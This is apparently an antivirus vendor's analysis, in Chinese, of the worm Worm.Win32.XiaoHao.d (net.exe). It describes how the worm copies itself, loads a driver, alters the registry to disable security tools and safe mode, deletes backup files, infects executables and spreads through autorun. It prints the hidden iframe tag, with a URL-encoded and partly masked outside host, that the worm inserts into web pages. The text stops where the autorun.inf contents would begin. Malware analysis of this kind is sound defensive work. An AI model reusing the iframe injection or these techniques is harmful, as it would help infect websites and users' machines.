小浩变种Worm.Win32.XiaoHao.d（net.exe）

该样本是使用VC编写的蠕虫程序，由微点主动防御软件自动捕获，程序未加壳，长度为28,676字节，图标为，病毒扩展名为exe，主要通过网页木马、文件捆绑、移动存储介质的方式传播，病毒主要感染文件。

病毒分析

    该样本程序被执行后，拷贝自身分别到目录%SystemRoot%\system32和%SystemRoot%\system32\dllcache下，分别重命名为xpserve.exe、lsoss.exe；在%SystemRoot%\system32\drivers目录下释放驱动文件KPDrv.sys；调用SCM写注册表，将驱动程序KPDrv.sys注册成名为KPDrvLN的服务，通过相关API函数启动被注册的服务以加载驱动程序，加载成功后删除驱动文件和所注册的服务；

修改如下注册表健值实现；枚举窗口查找窗口名中是否存在如下字符，如果存在则通过发送WM_CLOSE、WM_DESTROY消息将窗口关闭；

修改如下注册表健值实现病毒随系统一起启动、删除Windows更新选项、禁止使用DOS程序、禁止执行实模式的DOS程序、禁止使用注册表编辑器、屏蔽[Internet选项]的[安全]选项卡、删除IE工具栏中媒体栏命令、隐藏病毒文件、使[Internet选项]变为灰色；删除安全模式对应的注册表健值，使用户不能通过安全模式来修复系统；删除映象劫持、计算机管理CLSID、注册表信息文件所对应的注册表健值；

枚举磁盘查找所有文件类型判断扩展名为HTM、htm、html、asp、aspx、php、jsp的文件时，在文件内插入<iframe src=http://%77%77%77%2E%6B%61%6E%67%6B%2E%63%6E/%61%***%68%74%6D width=0 height=0></iframe>，解密后为http://www.k***k.cn/a2.htm；枚举磁盘删除文件扩展名为GHO或gho的文件，删除主文件名中含有字符串cmd且扩展名为exe的文件，感染扩展名为exe文件；之后每隔350000ms访问网站http://%77%77%77%2E%6B%61%6E%67%6B%2E***6E/%61%33%2E%68%74%6D，解密后为http://www.***k.cn/a3.htm；遍历盘符在各分区和移动存储介质中释放病毒文件net.exe和autorun.inf,使用Windows自动播放功能来传播病毒。

autorun.inf文件内容如下: